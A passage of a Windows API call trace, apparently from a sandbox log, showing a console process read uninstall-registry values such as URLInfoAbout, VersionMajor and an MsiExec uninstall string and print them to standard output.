GetConsoleOutputCP () returned 0x1b5 [0150.248] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.248] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.248] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.248] __iob_func () returned 0x7fefd702a80 [0150.248] _fileno (_File=0x7fefd702ab0) returned 1 [0150.248] _errno () returned 0x204bb0 [0150.248] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.248] _errno () returned 0x204bb0 [0150.248] GetFileType (hFile=0x50) returned 0x1 [0150.248] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0150.248] GetConsoleOutputCP () returned 0x1b5 [0150.248] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.248] GetConsoleOutputCP () returned 0x1b5 [0150.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0150.249] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.249] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.249] __iob_func () returned 0x7fefd702a80 [0150.249] _fileno (_File=0x7fefd702ab0) returned 1 [0150.249] _errno () returned 0x204bb0 [0150.249] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.249] _errno () returned 0x204bb0 [0150.249] GetFileType (hFile=0x50) returned 0x1 [0150.249] lstrlenW (lpString=" ") returned 4 [0150.249] GetConsoleOutputCP () returned 0x1b5 [0150.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.249] GetConsoleOutputCP () returned 0x1b5 [0150.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.249] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.249] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.249] __iob_func () returned 0x7fefd702a80 [0150.249] _fileno (_File=0x7fefd702ab0) returned 1 [0150.249] _errno () returned 0x204bb0 [0150.249] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.249] _errno () returned 0x204bb0 [0150.249] GetFileType (hFile=0x50) returned 0x1 [0150.249] lstrlenW (lpString="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned 52 [0150.250] GetConsoleOutputCP () returned 0x1b5 [0150.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0150.250] GetConsoleOutputCP () returned 0x1b5 [0150.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpUsedDefaultChar=0x0) returned 52 [0150.250] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0150.250] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.250] __iob_func () returned 0x7fefd702a80 [0150.250] _fileno (_File=0x7fefd702ab0) returned 1 [0150.250] _errno () returned 0x204bb0 [0150.250] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.250] _errno () returned 0x204bb0 [0150.250] GetFileType (hFile=0x50) returned 0x1 [0150.250] lstrlenW (lpString="\n") returned 1 [0150.250] GetConsoleOutputCP () returned 0x1b5 [0150.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.250] GetConsoleOutputCP () returned 0x1b5 [0150.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.250] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.250] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.251] GetProcessHeap () returned 0x3c0000 [0150.251] GetProcessHeap () returned 0x3c0000 [0150.251] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.251] GetProcessHeap () returned 0x3c0000 [0150.251] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0150.251] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.251] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.251] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.251] GetProcessHeap () returned 0x3c0000 [0150.251] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.251] GetProcessHeap () returned 0x3c0000 [0150.251] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.251] GetProcessHeap () returned 0x3c0000 [0150.251] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.251] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.251] __iob_func () returned 0x7fefd702a80 [0150.251] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.251] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.251] _fileno (_File=0x7fefd702ab0) returned 1 [0150.251] _errno () returned 0x204bb0 [0150.251] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.251] _errno () returned 0x204bb0 [0150.251] GetFileType (hFile=0x50) returned 0x1 [0150.251] lstrlenW (lpString=" ") returned 4 [0150.251] GetConsoleOutputCP () returned 0x1b5 [0150.251] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.252] GetConsoleOutputCP () returned 0x1b5 [0150.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.252] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.252] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.252] lstrlenW (lpString="URLInfoAbout") returned 12 [0150.252] __iob_func () returned 0x7fefd702a80 [0150.252] _fileno (_File=0x7fefd702ab0) returned 1 [0150.252] _errno () returned 0x204bb0 [0150.252] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.252] _errno () returned 0x204bb0 [0150.252] GetFileType (hFile=0x50) returned 0x1 [0150.252] lstrlenW (lpString="URLInfoAbout") returned 12 [0150.252] GetConsoleOutputCP () returned 0x1b5 [0150.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.252] GetConsoleOutputCP () returned 0x1b5 [0150.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0150.252] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.252] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.252] __iob_func () returned 0x7fefd702a80 [0150.252] _fileno (_File=0x7fefd702ab0) returned 1 [0150.252] _errno () returned 0x204bb0 [0150.252] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.252] _errno () returned 0x204bb0 [0150.252] GetFileType (hFile=0x50) returned 0x1 [0150.253] lstrlenW (lpString=" ") returned 4 [0150.253] GetConsoleOutputCP () returned 0x1b5 [0150.253] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.253] GetConsoleOutputCP () returned 0x1b5 [0150.253] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.253] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.253] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.253] __iob_func () returned 0x7fefd702a80 [0150.253] _fileno (_File=0x7fefd702ab0) returned 1 [0150.253] _errno () returned 0x204bb0 [0150.253] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.253] _errno () returned 0x204bb0 [0150.253] GetFileType (hFile=0x50) returned 0x1 [0150.253] lstrlenW (lpString="REG_SZ") returned 6 [0150.253] GetConsoleOutputCP () returned 0x1b5 [0150.253] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.253] GetConsoleOutputCP () returned 0x1b5 [0150.253] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.253] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.254] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.254] __iob_func () returned 0x7fefd702a80 [0150.254] _fileno (_File=0x7fefd702ab0) returned 1 [0150.254] _errno () returned 0x204bb0 [0150.254] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.254] _errno () returned 0x204bb0 [0150.254] GetFileType (hFile=0x50) returned 0x1 [0150.254] lstrlenW (lpString=" ") returned 4 [0150.254] GetConsoleOutputCP () returned 0x1b5 [0150.254] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.254] GetConsoleOutputCP () returned 0x1b5 [0150.254] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.254] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.254] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.254] __iob_func () returned 0x7fefd702a80 [0150.254] _fileno (_File=0x7fefd702ab0) returned 1 [0150.254] _errno () returned 0x204bb0 [0150.254] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.254] _errno () returned 0x204bb0 [0150.254] GetFileType (hFile=0x50) returned 0x1 [0150.254] lstrlenW (lpString="") returned 0 [0150.254] __iob_func () returned 0x7fefd702a80 [0150.254] _fileno (_File=0x7fefd702ab0) returned 1 [0150.254] _errno () returned 0x204bb0 [0150.254] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.254] _errno () returned 0x204bb0 [0150.254] GetFileType (hFile=0x50) returned 0x1 [0150.255] lstrlenW (lpString="\n") returned 1 [0150.255] GetConsoleOutputCP () returned 0x1b5 [0150.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.255] GetConsoleOutputCP () returned 0x1b5 [0150.255] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.255] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.255] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.255] GetProcessHeap () returned 0x3c0000 [0150.255] GetProcessHeap () returned 0x3c0000 [0150.255] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.255] GetProcessHeap () returned 0x3c0000 [0150.255] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.255] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.255] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.255] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.255] GetProcessHeap () returned 0x3c0000 [0150.255] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.255] GetProcessHeap () returned 0x3c0000 [0150.255] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.255] GetProcessHeap () returned 0x3c0000 [0150.255] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.255] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.255] __iob_func () returned 0x7fefd702a80 [0150.255] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.255] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.256] _fileno (_File=0x7fefd702ab0) returned 1 [0150.256] _errno () returned 0x204bb0 [0150.256] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.256] _errno () returned 0x204bb0 [0150.256] GetFileType (hFile=0x50) returned 0x1 [0150.256] lstrlenW (lpString=" ") returned 4 [0150.256] GetConsoleOutputCP () returned 0x1b5 [0150.256] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.256] GetConsoleOutputCP () returned 0x1b5 [0150.256] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.256] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.256] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.256] lstrlenW (lpString="URLUpdateInfo") returned 13 [0150.256] __iob_func () returned 0x7fefd702a80 [0150.256] _fileno (_File=0x7fefd702ab0) returned 1 [0150.256] _errno () returned 0x204bb0 [0150.256] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.256] _errno () returned 0x204bb0 [0150.256] GetFileType (hFile=0x50) returned 0x1 [0150.256] lstrlenW (lpString="URLUpdateInfo") returned 13 [0150.256] GetConsoleOutputCP () returned 0x1b5 [0150.256] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.256] GetConsoleOutputCP () returned 0x1b5 [0150.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0150.257] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.257] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.257] __iob_func () returned 0x7fefd702a80 [0150.257] _fileno (_File=0x7fefd702ab0) returned 1 [0150.257] _errno () returned 0x204bb0 [0150.257] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.257] _errno () returned 0x204bb0 [0150.257] GetFileType (hFile=0x50) returned 0x1 [0150.257] lstrlenW (lpString=" ") returned 4 [0150.257] GetConsoleOutputCP () returned 0x1b5 [0150.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.257] GetConsoleOutputCP () returned 0x1b5 [0150.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.257] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.257] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.257] __iob_func () returned 0x7fefd702a80 [0150.257] _fileno (_File=0x7fefd702ab0) returned 1 [0150.257] _errno () returned 0x204bb0 [0150.257] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.257] _errno () returned 0x204bb0 [0150.257] GetFileType (hFile=0x50) returned 0x1 [0150.257] lstrlenW (lpString="REG_SZ") returned 6 [0150.258] GetConsoleOutputCP () returned 0x1b5 [0150.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.258] GetConsoleOutputCP () returned 0x1b5 [0150.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.258] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.258] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.258] __iob_func () returned 0x7fefd702a80 [0150.258] _fileno (_File=0x7fefd702ab0) returned 1 [0150.258] _errno () returned 0x204bb0 [0150.258] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.258] _errno () returned 0x204bb0 [0150.258] GetFileType (hFile=0x50) returned 0x1 [0150.258] lstrlenW (lpString=" ") returned 4 [0150.258] GetConsoleOutputCP () returned 0x1b5 [0150.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.258] GetConsoleOutputCP () returned 0x1b5 [0150.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.258] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.258] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.259] __iob_func () returned 0x7fefd702a80 [0150.259] _fileno (_File=0x7fefd702ab0) returned 1 [0150.259] _errno () returned 0x204bb0 [0150.259] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.259] _errno () returned 0x204bb0 [0150.259] GetFileType (hFile=0x50) returned 0x1 [0150.259] lstrlenW (lpString="") returned 0 [0150.259] __iob_func () returned 0x7fefd702a80 [0150.259] _fileno (_File=0x7fefd702ab0) returned 1 [0150.259] _errno () returned 0x204bb0 [0150.259] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.259] _errno () returned 0x204bb0 [0150.259] GetFileType (hFile=0x50) returned 0x1 [0150.259] lstrlenW (lpString="\n") returned 1 [0150.259] GetConsoleOutputCP () returned 0x1b5 [0150.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.259] GetConsoleOutputCP () returned 0x1b5 [0150.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.259] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.259] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.259] GetProcessHeap () returned 0x3c0000 [0150.259] GetProcessHeap () returned 0x3c0000 [0150.259] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.259] GetProcessHeap () returned 0x3c0000 [0150.259] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.259] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.259] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.260] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.260] GetProcessHeap () returned 0x3c0000 [0150.260] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.260] GetProcessHeap () returned 0x3c0000 [0150.260] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.260] GetProcessHeap () returned 0x3c0000 [0150.260] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.260] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x9, pcbData=0x29f780*=0x4) returned 0x0 [0150.260] __iob_func () returned 0x7fefd702a80 [0150.260] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.260] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.260] _fileno (_File=0x7fefd702ab0) returned 1 [0150.260] _errno () returned 0x204bb0 [0150.260] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.260] _errno () returned 0x204bb0 [0150.260] GetFileType (hFile=0x50) returned 0x1 [0150.260] lstrlenW (lpString=" ") returned 4 [0150.260] GetConsoleOutputCP () returned 0x1b5 [0150.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.260] GetConsoleOutputCP () returned 0x1b5 [0150.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 